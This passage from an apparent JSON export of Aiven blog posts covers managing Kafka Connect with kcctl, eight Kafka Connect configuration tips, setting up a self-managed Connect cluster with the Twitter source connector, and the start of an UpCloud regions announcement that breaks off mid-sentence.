created:\n\n```bash\nkcctl describe connector pg-incremental-source\n```\n\nThe command output shows the `pg-incremental-source` connector in `RUNNING` state and all the details associated with it.\n\n## Check the data in Apache Kafka with kcctl\n\nYou can also check for a new Kafka topic called `pg_source_pasta` with the same data stored in PostgreSQL, via [kcat](https://github.com/edenhill/kcat). Start by first downloading the required certificates:\n\n```\navn service user-creds-download demo-kafka \\\n --username avnadmin \\\n -d certs\n```\n\nThen create a `kcat.config` file containing the following entries:\n\n```\nbootstrap.servers=\u003cHOST\u003e:\u003cPORT\u003e\nsecurity.protocol=ssl\nssl.key.location=certs/service.key\nssl.certificate.location=certs/service.cert\nssl.ca.location=certs/ca.pem\n```\n\nAnd reading from the `pg_source_pasta` topic with the following `kcat` invocation:\n\n```\nkcat -F kcat.config -C -t pg_source_pasta\n```\n\nIf we now insert some rows in the PostgreSQL `pasta` table, the same changes appear in Kafka via `kcat`:\n\n![Gif showing Postgresql insert and related rows flowing in Kafka via kcat](//cdn.sanity.io/images/sczeoy4w/production/fee266f781e2ccbd352271c005a4a95745091c96-1242x280.gif)\n\n## Managing Kafka Connect connectors with kcctl\n\nCreating connectors is only part of the game with `kcctl` - You can also manage them! Need a list of all the connectors deployed? Just run the following command:\n\n```bash\nkcctl get connectors\n```\n\nNeed to pause and resume connectors? The code below, for example, pauses the one named `pg-incremental-source`:\n\n```\nkcctl pause connector pg-incremental-source\n```\n\nWhat type of connectors can we create? Glad you asked! The full plugin list is available with:\n\n```\nkcctl get plugins\n```\n\nThe command shows all the connector plugins available with the related type (`source` or `sink`) and version. With this command you'll be able to check the list of the managed Kafka Connect connector types you can create with Aiven for Apache Kafka.\n\n```\nTYPE CLASS VERSION\n source com.couchbase.connect.kafka.CouchbaseSourceConnector 4.0.6\n source com.datamountaineer.streamreactor.connect.cassandra.source.CassandraSourceCon 2.1.3\n nector\n source com.datamountaineer.streamreactor.connect.mqtt.source.MqttSourceConnector 2.1.3\n source com.google.pubsub.kafka.source.CloudPubSubSourceConnector 2.7.2-SNAPSHOT\n source com.google.pubsublite.kafka.source.PubSubLiteSourceConnector 2.7.2-SNAPSHOT\n\n ...\n sink io.aiven.kafka.connect.gcs.GcsSinkConnector 0.9.0\n sink io.aiven.kafka.connect.http.HttpSinkConnector 0.4.0\n sink io.aiven.kafka.connect.s3.AivenKafkaConnectS3SinkConnector 2.12.0\n ...\n```\n\n## Wrapping up\n\nThe ability to manage Kafka Connect connectors from the terminal is just a few commands away. `kcctl` makes it easy to inspect, deploy, update, pause and restore any connector to our environments. This unifies the end-user experience for Apache Kafka instances deployed on-premises, self-hosted or in Aiven.\n\n__Further reading__\n* [kcctl GitHub repository](https://github.com/kcctl/kcctl)\n* [Aiven for Apache Kafka](https://aiven.io/kafka)\n* [Kafka Connect REST APIs](https://kafka.apache.org/documentation.html#connect_rest)\n* Also check out our [other blog articles on Apache Kafka](https://aiven.io/blog/category/kafka \"Articles on Apache Kafka on the Aiven blog\")!\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n\n## Further reading\n\n- [Aiven open sources Google Cloud Storage Kafka connector](https://aiven.io/blog/aiven-open-sources-google-cloud-storage-kafka-connector)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-13T00:00:00.000Z","seo":{"metaDescription":"kcctl lets you manage all your Apache Kafka Connect instances in one command line tool, whether on-prem, Aiven, or other clouds. Find out how to use it.","metaImage":{"alt":"","asset":{"_ref":"image-feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666-1567x844-png","_type":"reference"}},"metaTitle":"Manage Apache Kafka® Connect connectors with kcctl"},"slug":{"_type":"slug","current":"/blog/manage-apache-kafka-connect-connectors-with-kcctl"},"subtitle":"kcctl lets you manage all your Apache Kafka Connect instances in one command line tool, whether on-prem, Aiven, or other clouds. Find out how to use it.","title":"Manage Apache Kafka® Connect connectors with kcctl"} {"__i18n_lang":"en","_createdAt":"2022-11-28T09:19:58Z","_id":"9de4f40b-c05c-4d3e-8ef4-1c0446f4d4a9","_rev":"Ypdm2WFkfKn13FbW5Xcs5D","_type":"post","_updatedAt":"2024-09-25T08:59:37Z","authors":[{"_key":"63f4ce106f61","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"[Apache Kafka®](https://aiven.io/docs/products/kafka/concepts) is the backbone of modern data platforms, allowing data to flow to where it is needed. Kafka Connect is the magic that enables the integration of Apache Kafka with a wide selection of different technologies as data sources or sinks by defining a few rows in a JSON configuration file.\n\nSometimes, Apache Kafka® Connect might appear as dark magic: its plethora of connectors with partially overlapping functionality, the inconsistent configurations parameters and vague error messages might give the feeling of a hidden art behind the tool. Therefore, specifically if you’re new in this field, some Kafka Connect configuration tips can make you go from willing to sacrifice a cockroach to the connect gods to a perfectly working and reliable streaming pipeline.\n\n## Tip #0: The basic rule\nBefore jumping to the tips, we need to share the fundamental law of becoming an Apache Kafka® Connect magician: WE NEED TO READ THE MANUAL!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/b27f7fe1cd75b700912cc815384c209f706125dd-1875x1042.png)\n\nApache Kafka® Connect is solving a complex integration problem, and doing a great job in taking part of the complexity away. Still, the space is huge, with a great variety of technologies and several partially overlapping connectors solving similar integration problems.\n\nOur first duty to become the next Kafka Connect Houdini is to browse for information, understand which connectors exist for the integration problem we’re trying to solve and read their instructions carefully to evaluate their usage for our case.\n\nNow, it’s officially time to start with the tips!\n\n## Tip #1: Prepare the data landing ground\nLike magicians use their hats to store rabbits for their tricks, we need to prepare a soft cushion for our data to land properly. Whether we’re sourcing or sinking data from Apache Kafka®, we should pre-create all the data structures needed to receive the data.\n\nMost of the time, we will be offered some shortcuts in the form of `auto_create_topics_enable`, `auto.create` and `auto.evolve`, delegating to Apache Kafka® Connect the target topic or table creation. However, by doing so we lose control of these artifacts, which could generate problems on the downstream data pipelines. For instance, Kafka Connect will generate a topic with default partition count, or tables without the partitioning you have in mind. Therefore the suggestion is: read the documentation carefully and pre-create the necessary landing spots accordingly.\n\nIf, after reading the documentation, we’re still unsure where the data will land, then we can create a test environment, enable `auto_create_topics_enable` or `auto.create` and take note of which artifacts are created so we can properly define them in production.\n\n## Tip #2: Evaluate the benefits, limits and risks of the various connectors\nLike magicians needing to learn all the spells to perform tricks, we need to gather similar knowledge of the Apache Kafka® Connect space. As mentioned above, Kafka Connect is an amazing and wide space, with different connectors solving similar problems in slightly different methods.\n\nPart of working successfully with Kafka Connect is understanding what possible connectors are solving the integration problem we are facing, understanding the benefits, their technical and licensing limits and related risks. Once we have a clear map of the options, we can choose the best one for our needs.\n\nA practical example; to source database data into Apache Kafka® we have two choices: a polling mechanism based on [JDBC queries](https://aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-pg.html) or the [Debezium](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html) push mechanism. Both seem valid alternatives, but when you start pushing the boundaries the [JDBC solution shows its limits](https://www.confluent.io/events/kafka-summit-london-2022/jdbc-source-connector-what-could-go-wrong/). Knowing the limits of a solution will help us make a better choice.\n\n## Tip #3: Check the pre-requisites\n![image](https://cdn.sanity.io/images/sczeoy4w/production/ff2955961f12be4d17a5e2088b52bbf9d826b68f-1875x1042.png)\n\nMagicians need to check they have all the listed ingredients for their potions. To build a successful connector, we need to take the same care in validating that all the prerequisites are satisfied!\n\nFirst of all, Apache Kafka® Connect is Java-based, therefore to run a specific connector we need to put all the required **JAR dependencies** in exactly the right folder (check out the [case for Twitter](https://aiven.io/blog/connecting-twitter-to-aiven-for-apache-kafka)). This is quite a task by itself and is where using managed platforms like [Aiven for Apache Kafka® Connect](https://aiven.io/kafka-connect) can help by removing the friction.\n\nOnce dependencies are sorted, we still need to properly test that everything we need is there:\n\n- Check the **network paths**: can we ping the database? is the [Google Cloud Storage accessible from the Kafka Connect](https://aiven.io/blog/aiven-open-sources-google-cloud-storage-kafka-connector) cluster?\n\n- Evaluate the **credentials and privileges**: can the user login? can it read from the table or write to the S3 bucket?\n\n- Validate that **required objects** are in place: is the target S3 bucket already in place? What about the database replication needed by [Debezium](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html)?\n\nEnsuring we have all the bits and pieces in place before starting the connector will provide a smoother experience. The last thing we want is to lose two hours of time checking the connector configuration when the problem is that there’s no network connectivity between our endpoints.\n\n### Special mention: data formats\nData formats is a topic commonly overlooked, but, if not done right, can have huge implications in the downstream pipeline.\n\nWhen using the default configurations, most of the source connectors push data to Apache Kafka® topics in JSON format. This approach works for the majority of data pipelines but there’s an exception: the lack of a properly defined schema means that we’ll not be able to sink data to technologies, like relational databases, where understanding the data structure is required. We’ll face the error `No fields found using key and value schemas for table` and, as of today, there are no workarounds to make such a connector work.\n\nThe tip is to use data formats that specify schemas every time it is possible. From a connector configuration standpoint, this means adding some lines of code (check the `key.converter` and `value.converter` in the [Debezium example](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html)) to make use of tools like [Karapace](https://aiven.io/docs/products/kafka/karapace.html) to store key and value schemas.\n\nOnce we have the schema properly defined during data ingestion in Apache Kafka®, we can use the same schema registry functionality to let the sink connector understand the data shape and push it to any of the downstream technologies, whether they require a schema or not.\n\n## Tip #4: Reshape the message payload\nApache Kafka® Connect provides the magical ability to change the data shape while sourcing/sinking. The power is given by the **Single Message Transformations** (SMT), enabling us to reshuffle the data in several different ways including:\n\n- **Filtering**: pass only a subset of the incoming dataset\n\n- **Routing**: send different events to separate destinations based on particular field values\n\n- **Defining Keys**: define the set of fields to be used as event key (this will be discussed more in-depth later)\n\n- **Masking**: obfuscate or remove a field, useful for PII (Personally Identifiable Information) data\n\nSMTs are a very powerful [swiss army knife](https://www.morling.dev/blog/single-message-transforms-swiss-army-knife-of-kafka-connect/) to customize the shape of the data during the integration phase.\n\n## Tip #5: Define the keys to drive data partitioning and lookups\nKeys are used in Apache Kafka® to define partitioning, and in the target system to perform lookups. When defined properly, keys drive performance benefits both when sourcing (parallel writes to partitions) and sinking (e.g. partition identification in database tables).\n\nIt is therefore very important to analyze and accurately define the keys to achieve better and correct performance (ordering in Apache Kafka® is guaranteed only within a partition). In her blog, Olena dives deep into [how to balance your data across partitions](https://aiven.io/developer/balance-data-across-kafka-partitions) and the tradeoffs you might encounter when selecting the best partitioning strategy.\n\n## Tip #6: Increase the connector’s robustness\nTo strengthen our Apache Kafka® Connect magic powers, we need to make our connectors more robust and less vulnerable to errors. Testing the performance, understanding bottlenecks, and continuously monitoring and improving our pipelines are a few of the “evergreen” suggestions that can also be applied in this space. There are also a couple of detailed tips that could possibly save us from specific failures.\n\n### Reduce the amount of data in flight\nAlmost every connector allows the definition of the data collection/push frequency. Sinking data to a target environment once per day means that the connector needs to hold all the daily dataset; if the data volume becomes too big, the connector could crash forcing us to restart the process and therefore adding delay to the pipeline. Writing **less data more often** can mitigate the risk, we need to find the right balance between frequency and “batch” size.\n\n### Parallelize the load to increase performance and reduce risk\nKafka Connect has the concept of tasks that can be used to parallelize the load.\n\nAs an example, if we need to source 15 tables from a database, having a single connector with a single task to carry all the load could be a dangerous choice. Instead, we could distribute the data ingestion, either by defining one connector with 15 tasks, or 15 different connectors with a single task depending on our needs.\n\nParallelizing the work helps both in increasing performance and in reducing risks related to a single point of failure.\n\n## Tip #7: Know how to debug\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/2f357752418673c94a1acd7b9f1c92007a2bb853-1875x938.png)\n\nNobody becomes an Apache Kafka® Connect magician without mistakes; we’ll hardly nail every setting on the first attempt. Our work is to understand what is wrong and fix it. A couple of general hints to have a successful experience:\n\n- Check the **logs**: logs are the source of truth. The error description contained in the logs can help us understand the nature of the problem and give us hints on where to look.\n\n- Browse for a **solution**: the internet will provide plenty of fixes to a specific error message. We need to take time and understand carefully if the suggested fix applies to our situation. We can’t assume a solution is valid only because the error message posted is similar.\n\nSince Kafka is a relatively new tech, we could also face a situation where nobody seems to have had the same error before us. However, in that case, a second look at the logs and a read of the connector code might take us to a solution… that’s the beauty of Open Source!\n\n### The error tolerance and automatic restart\nThe **error tolerance** defines how many parsing mistakes we can accept before having the connector fail. The two options are `none` where Kafka connect will crash on the first error, and `all` where the connector will continue running even if none of the messages can be understood.\n\nA middle ground is represented by the **dead letter queue**, a topic where we will receive all the erroring messages. The dead letter queue is a great way to make the connector more robust to single message errors but, if used, needs to be actively monitored. The last thing we want is to discover, one year later, 200.000 unparsed messages in our `orders` topic because of a silly formatting error.\n\nRelated to the tolerance, another useful parameter is **automatic restart**, allowing us to try reanimating a crashed connector. Setting it on can be a good way to rescue our connector from transient errors but will not save us in cases where our configuration is just wrong.\n\n## Tip #8: Keep the evolution trace\nThe concept of a “spell book” translates really well to Apache Kafka® Connect and approaching the connector configuration with an iterative method can take us a long way.\n\nFirst, we need to read the set of configurations available, then analyze what parameters are necessary and keep our connector configs as simple as possible to build a minimal integration example that can be evolved over time.\n\nLinked with the above, it’s also worth spending time on properly setting up a version control system for the configuration and automating the deployment as much as possible. This approach will save us time when needing to revert non-working changes and reduce the risk of human errors during deployment. [Apache Kafka® Connect REST APIs](https://kafka.apache.org/documentation/#connectapi) or tools like the [Aiven Client](https://aiven.io/docs/tools/cli/service/connector.html), [Aiven Terraform Provider](https://aiven.io/docs/tools/terraform/reference/cookbook/kafka-connect-terraform-recipe.html) or [kcctl](https://github.com/kcctl/kcctl) can help in the automation process.\n\n## Making the integration magic\nUnderstanding Apache Kafka® Connect’s dark magic can be overwhelming at first sight; but by browsing its ecosystem, reading the various connectors' documentation, and listening to the above tips we can start using our new wizardry to build fast scalable, and resilient streaming data pipelines.\n\nSome more resources to get you started:\n\n- [Aiven for Apache Kafka® Connect](https://aiven.io/kafka-connect): don’t lose time setting up the Kafka Connect cluster, focus on creating the integration instead\n\n- How To Guides for [Source](https://aiven.io/docs/products/kafka/kafka-connect/howto/list-source-connectors.html) and [Sink](https://aiven.io/docs/products/kafka/kafka-connect/howto/list-sink-connectors.html) Connectors: check prebuilt integration examples for all the major connectors\n\n- [Twitter example](https://aiven.io/blog/connecting-twitter-to-aiven-for-apache-kafka): check out how to self-host a Kafka Connect cluster to run any connector you need, while still benefitting from a managed Apache Kafka® cluster\n\n- [Does Apache Kafka® really preserve message ordering?](https://aiven.io/blog/kafka-real-ordering)\n\n::banner[Integrate your existing data sources and sinks with Apache Kafka®.]{ctaText=\"How does it work?\" ctaLink=\"https://aiven.io/kafka-connect\" title=\"Aiven for Apache Kafka® Connect\" theme=\"dark\"}\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n","categories":[{"_key":"c7608d34c250","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"f7baac919c10","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"f4236186359f","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Apache Kafka® Connect configuration options","asset":{"_ref":"image-bb4f4ac890b0d208706860d8bfc0205c70f77a12-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-29T10:33:56.742Z","related":[{"_key":"63b2f846668f","_ref":"1td7K8mcJVhl60ZTT80SIr","_type":"reference"},{"_key":"e15c5204e125","_ref":"7bElzaANLEsZkdrtXlmTqh","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Apache Kafka® Connect configuration often feels like dark magic. These tips can ease your Kafka Connect experience in creating a reliable streaming pipeline!","metaTitle":"Get your Apache Kafka® Connect Configuration right | Aiven"},"slug":{"_type":"slug","current":"/blog/8-tips-to-speed-up-apache-kafka-connect-development"},"subtitle":"Apache Kafka® Connect configuration might seem like dark magic at times. Read on to learn a few tips and take your developer experience to the next level. ","title":"8 tips to speed up Apache Kafka® Connect development "} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"1td7K8mcJVhl60ZTT80SIr","_rev":"0bD0yWvurDucdXi3F3JLNt","_type":"post","_updatedAt":"2024-09-25T09:02:42Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"## Use your own connector with Aiven for Apache Kafka® - the Twitter source example\n\nApache Kafka® is representing the central data backbone for more and more companies, with the rich Apache Kafka® Connect ecosystem offering different plugins allowing an easy integration of Kafka with a huge variety of technologies. \n\nWhen self-hosting Apache Kafka, any open source connector plugin can be taken into use by finding the right jars and configuration options. The situation changes when using a managed service: even if the list of supported plugins can be amazing (check out [all the ones Aiven provides](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html)), you might not find the particular `sink-to-obscure-datatech` one you were looking for. Still, Aiven accepts suggestions and evaluates continuously new connector plugins to include in the list, so, if you identify an important miss, feel free to suggest! \n\nAnother option on the table is to create a self-managed Apache Kafka® Connect cluster and connect it to Aiven for Apache Kafka. In this way you can get the freedom to pick any open source connector, while still benefitting from the managed Kafka service that Aiven offers. You can read an example of the process in [our developer portal](https://aiven.io/docs/products/kafka/kafka-connect/howto/bring-your-own-kafka-connect-cluster.html), and in this blog post we'll go through the steps required to start using one of the best connectors in town, the one probably used by 90% of new learners: the [Twitter source connector](https://github.com/jcustenborder/kafka-connect-twitter).\n\n### Create the Apache Kafka cluster\n\nLet's quickly cover this piece, using the [Aiven CLI](https://aiven.io/docs/tools/cli.html) and the dedicated `service create` function. You can read all the parameters available in the [dedicated page](https://aiven.io/docs/tools/cli/service.html#avn-service-create) and also find the list of all the [advanced customisation parameters](https://aiven.io/docs/products/kafka/reference/advanced-params.html) Aiven offers. For the aim of the blog post we'll use the following:\n\n```\navn service create demo-kafka \\\n --service-type kafka \\\n --cloud google-europe-west3 \\\n --plan business-4 \\\n -c kafka.auto_create_topics_enable=true \\\n -c kafka_rest=true \n```\n\nThe above command creates an Aiven for Apache Kafka instance named `demo-kafka` with a juicy `business-4` plan over the `google-europe-west3` region. We are also enabling the automatic creation of topics and REST APIs, which we'll use towards the end to check the data landing in the topic.\n\nWhile the service is starting, we can already generate the [Java keystore and truststore](https://aiven.io/docs/products/kafka/howto/keystore-truststore) that will be used to integrate the local Apache Kafka Connect cluster to the `demo-kafka` service. \nWe can create both stores with the following Aiven CLI command:\n\n```\navn service user-kafka-java-creds demo-kafka \\\n -d certsfolder \\\n -p STOREPASSWORD123 \\\n --username avnadmin\n```\n\nThe above will download the required certificates in a folder named `certsfolder` and create in the same folder a keystore file named `client.keystore.p12` and a truststore named `client.truststore.jks`, all secured with a (not so secure) password `STOREPASSWORD123`. You might want to review the [dedicated developer portal document](https://aiven.io/docs/products/kafka/howto/keystore-truststore) if you're keen on setting different secrets to secure the stores and keys.\n\n### Create a self-managed Apache Kafka Connect cluster\n\nNow it's time to use our shell skills, the only prerequisite is to have a JDK installed. Let's start by getting the Apache Kafka binaries, we'll download the `3.1.0` version\n\n```\nwget https://dlcdn.apache.org/kafka/3.1.0/kafka_2.13-3.1.0.tgz\n```\n\nThen we can unpack it\n\n```\ntar -xzf kafka_2.13-3.1.0.tgz \n```\n\nAnd this will create a folder called `kafka_2.13-3.1.0` containing all the Apache Kafka goodies.\n\n#### Add the Twitter source connector dependencies\n\nTo start fetching twitter data, we can use the [dedicated open source connector](https://github.com/jcustenborder/kafka-connect-twitter). We can fetch the related code with:\n\n```\nwget https://github.com/jcustenborder/kafka-connect-twitter/releases/download/0.2.26/kafka-connect-twitter-0.2.26.tar.gz\n```\n\nAnd unpack the tar file\n\n```\nmkdir twitter-connector \ntar -xvf kafka-connect-twitter-0.2.26.tar.gz -C twitter-connector\n```\n\nThe above command will unzip the tar file into a folder called `twitter-connector` which contains a subfolder `usr/share/kafka-connect/kafka-connect-twitter` containing all the files the Apache Kafka Connect cluster needs to load. We can move them to a `plugin` subfolder within the `kafka_2.13-3.1.0` folder.\n\n```\nmkdir kafka_2.13-3.1.0/plugins\nmv twitter-connector/usr/share/kafka-connect/kafka-connect-twitter kafka_2.13-3.1.0/plugins/lib\n```\n\n#### Define the Apache Kafka Connect configuration file\n\nNow it's time to define a configuration file to make the local Kafka Connect cluster point to Aiven for Apache Kafka. We can use the [developer portal template](https://github.com/aiven/devportal/blob/main/code/products/kafka/my-connect-distributed.properties) to create a file named `my-connect-distributed.properties` and substitute:\n\n* `PATH_TO_KAFKA_HOME` to the directory containing the Apache Kafka binaries\n* `APACHE_KAFKA_HOST:APACHE_KAFKA_PORT` with the `demo-kafka` hostname and port that we can get with\n\n```\navn service get demo-kafka --format '{service_uri}'\n```\n\n* `TRUSTSTORE_PATH` and `KEYSTORE_PATH` with the path to the folder containing the keystore and truststore files (`certsfolder` if you used the command defined in the previous section)\n* `KEY_TRUST_SECRET` with the keystore and truststore secret (`STOREPASSWORD123` if you used the command defined in the previous section)\n\n#### Start the local Connect cluster\n\nWith the configuration and all the required files in place we start the local Apache Kafka Connect cluster with:\n\n```\n./kafka_2.13-3.1.0/bin/connect-distributed.sh ./my-connect-distributed.properties\n```\n\n### Setup the Twitter access \n\nNow that the Apache Kafka Connect cluster is up and running, we can head to the **Developer Portal** at [Twitter's developer portal page](https://developer.twitter.com/) to create a new application that will provide us the credentials required for the connector to start sourcing tweets.\n\n1. In the main dashboard page we can create a new project using the v2 endpoints. For the project we need to specify:\n\n * the project **name**\n * the use case between a variety of options including *Exploring the API*, *Making a bot* or *Building a consumer tool*, we can chose between one of the options available that fits our purpose\n * the project description, we can give an abstract of our purpose\n * define if we are going to use an existing app or create a new. Since we're new to Twitter APIs we'll create a new app\n\n2. In the *App Setup* section we can define our new app settings:\n\n * the app **environment**, for the blog post purposes we can select *Development*\n * the app **name**, giving the app a memorable name allows us to backtrack what's the app used for, a name like `app123` will hardly be recognizable. We can call it `twitter-kafka-connect-\u003cSUFFIX\u003e` where `\u003cSUFFIX\u003e` needs to be a unique identifier (every app name needs to be unique).\n * the app **keys and tokens**, we can generate and retrieve the needed keys. We need to copy from this section the **API Key** and **API Key Secret** that we'll later use in the Apache Kafka connector setup (we'll reference them as `TWITTER_API_KEY` and `TWITTER_API_SECRET`).\n\n When everything is setup, select **App Settings** and we should see a screen like the following telling us the app and project have successfully been built.\n\n ![Twitter App and Project build](//cdn.sanity.io/images/sczeoy4w/production/059e6c82eb846d62ddf16c8a284a8b684785e7c9-1314x1025.jpg)\n\n3. Now we can head to the **Keys and tokens** tab where we can generate (or regenerate) the additional secrets required for the connector to work. \n\n4. Generate the Access Token and Secret that we'll reference further down in the blog\n\n * Access Token: `TWITTER_ACCESS_TOKEN`\n * Access Token Secret: `TWITTER_ACCESS_TOKEN_SECRET`\n\n5. The last setting in the Twitter developer portal is to request **Elevated** access for our project. Since Twitter API v2 was released, the default (**Essential**) access only allows interacting with v2, while the Apache Kafka connector we'll adopt still uses the v1. We can request the Elevated access by clicking on the main project name and on the button \"Apply for Elevated\". We would need to fill some information including the coding skill level and the project description and agree to the Developer Agreement. The request is officially checked by Twitter, and if everything goes well, we should soon have an elevated account ready, although sometimes it might take a couple of hours.\n\n#### Create a source connector configuration file\n\nWe can write the twitter secrets fetched above in a configuration file named `twitter-source.json` with the following content\n\n```\n{\n \"name\":\"twitter_connector\",\n \"config\":\n {\n \"tasks.max\":\"1\",\n \"connector.class\":\"com.github.jcustenborder.kafka.connect.twitter.TwitterSourceConnector\",\n \"process.deletes\":\"false\",\n \"filter.keywords\":\"database\",\n \"kafka.status.topic\":\"twitter-topic\",\n \"twitter.oauth.consumerKey\":\"TWITTER_API_KEY\",\n \"twitter.oauth.consumerSecret\":\"TWITTER_API_SECRET\",\n \"twitter.oauth.accessToken\":\"TWITTER_ACCESS_TOKEN\",\n \"twitter.oauth.accessTokenSecret\":\"TWITTER_ACCESS_TOKEN_SECRET\"\n }\n}\n```\n\nThe following are the customizable parameters:\n\n* `\"process.deletes\":\"false\"`: for simplicity we are not going to process tweet deletions\n* `\"filter.keywords\":\"database\"`: we are filtering for tweets containing the `database` keyword, you can modify it to filter only the tweets you are interested in. The suggestion is to replace it with something topical at the moment of reading, that will occur in tweets so that data will show up in Apache Kafka.\n* `\"kafka.status.topic\":\"twitter-topic\"`: the target topic is going to be named `twitter-topic`\n* The `twitter.oauth` parameter values need to be changed with the twitter secrets fetched in the previous step\n\n#### Start the Twitter source connector\n\nAll the pieces are in place now, it's therefore time to start the connector using the [Apache Kafka REST API](https://kafka.apache.org/documentation.html#connect_rest) with:\n\n```\ncurl -s -H \"Content-Type: application/json\" -X POST \\\n -d @twitter-source.json \\\n http://localhost:8083/connectors/\n```\n\n#### Check the output in Apache Kafka\n\nThe above `curl` command uses the `connectors` REST endpoint passing the connector configuration file `twitter-source.json`. We should now see the tweets containing ``apachekafka`` flowing in the ``twitter-topic`` Apache Kafka topic. Since we enabled Karapace REST APIs, we can review the topic data by accessing the [Aiven Console](https://console.aiven.io/), clicking on the `demo-kafka` service name, under the *Topic* tab. \n\n![Tweets about databases as shown in the Aiven console](//cdn.sanity.io/images/sczeoy4w/production/74da099db6ce98edfefc2cf20c7032954db19db5-1330x1233.jpg)\n\nKeep in mind that this is a streaming solution, so you'll see data in the topic only if tweets containing the keyword you defined are written. If you want to test the connector, write a tweet yourself containing the keyword!\n\nBig news: we are now using an Apache Kafka® Connector plugin not supported by Aiven with Aiven for Apache Kafka! We'll have the burden of managing the Apache Kafka Connect cluster, but that might be the optimal option in case our source/target technology is not supported with any of the [available connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html).\n\nQuick Tip: If you need to change the connector configuration you might need to delete the connector first with\n\n```\ncurl -s -X DELETE http://localhost:8083/connectors/twitter_connector\n```\n\nAnd then send the updated configuration file using the ``curl`` command with the ``PUSH`` option specified before.\n\n### Managed Apache Kafka services and freedom of connector plugins selection\n\nManaging full Apache Kafka clusters can be a tedious job and using a managed service like Aiven for Apache Kafka is usually a sensible idea. For peculiar use cases, you might find that the configuration or connector you're looking for is not supported by Aiven. But don't despair: you can easily integrate a local Apache Kafka Connect cluster solving your particular integration problem with Aiven for Apache Kafka and benefit both from an overall Apache Kafka managed solution and a wild selection of open source connectors.\n\nCheck out the following resources to know more:\n\n* List of the [supported Apache Kafka Connect plugins](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html)\n* List of the [Aiven for Apache Kafka advanced configuration parameters](https://aiven.io/docs/products/kafka/reference/advanced-params.html)\n* The [Twitter source connector documentation](https://github.com/jcustenborder/kafka-connect-twitter)\n* A detailed article on how to [setup a local JDBC sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/bring-your-own-kafka-connect-cluster.html)\n\n\n## Further reading\n\n- [Aiven open sources Google Cloud Storage Kafka connector](https://aiven.io/blog/aiven-open-sources-google-cloud-storage-kafka-connector)\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-d96781cd048514f0d82e6292d8b45eb9e61ead94-640x345-png","_type":"reference"}},"publishedAt":"2022-05-24T00:00:00.000Z","seo":{"metaDescription":"What if Aiven doesn't provide the Apache Kafka® connector you want? Read on to learn how to use an external connector, to gather Twitter messages into Kafka.","metaImage":{"alt":"","asset":{"_ref":"image-d96781cd048514f0d82e6292d8b45eb9e61ead94-640x345-png","_type":"reference"}},"metaTitle":"Use your own connector with Twitter and Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/connecting-twitter-to-aiven-for-apache-kafka"},"subtitle":"What if Aiven doesn't provide the Apache Kafka® connector you want? Read on to learn how to use an external connector, to gather Twitter messages into Kafka.","title":"Use your own connector with Twitter and Aiven for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6RiHgD15cKhrH5S9Z87Ve9","_rev":"ejVwHgKe5k9eDWbchrrOCo","_type":"post","_updatedAt":"2024-07-09T13:51:45Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We're proud to announce that Aiven, the next generation cloud database service platform is now available in UpCloud's datacenters.\n\nUpCloud Ltd is a European cloud hosting company selling highly performant cloud services. See [upcloud.com](https://upcloud.com/) for more information.\n\nThe new Aiven regions that are immediately available are EU Finland (UpCloud), EU Germany (UpCloud), EU England (UpCloud) and US Illinois (UpCloud).\n\nAlong with the existing Aiven regions in Amazon Web Services and Google Cloud, this brings the current number of regions Aiven supports to seventeen.\n\nGo to [aiven.io](https://aiven.io/) to get started!\n\nIn the near future we'll also be adding DigitalOcean as a supported cloud provider.\n\nWe're always looking for feedback on what to improve so 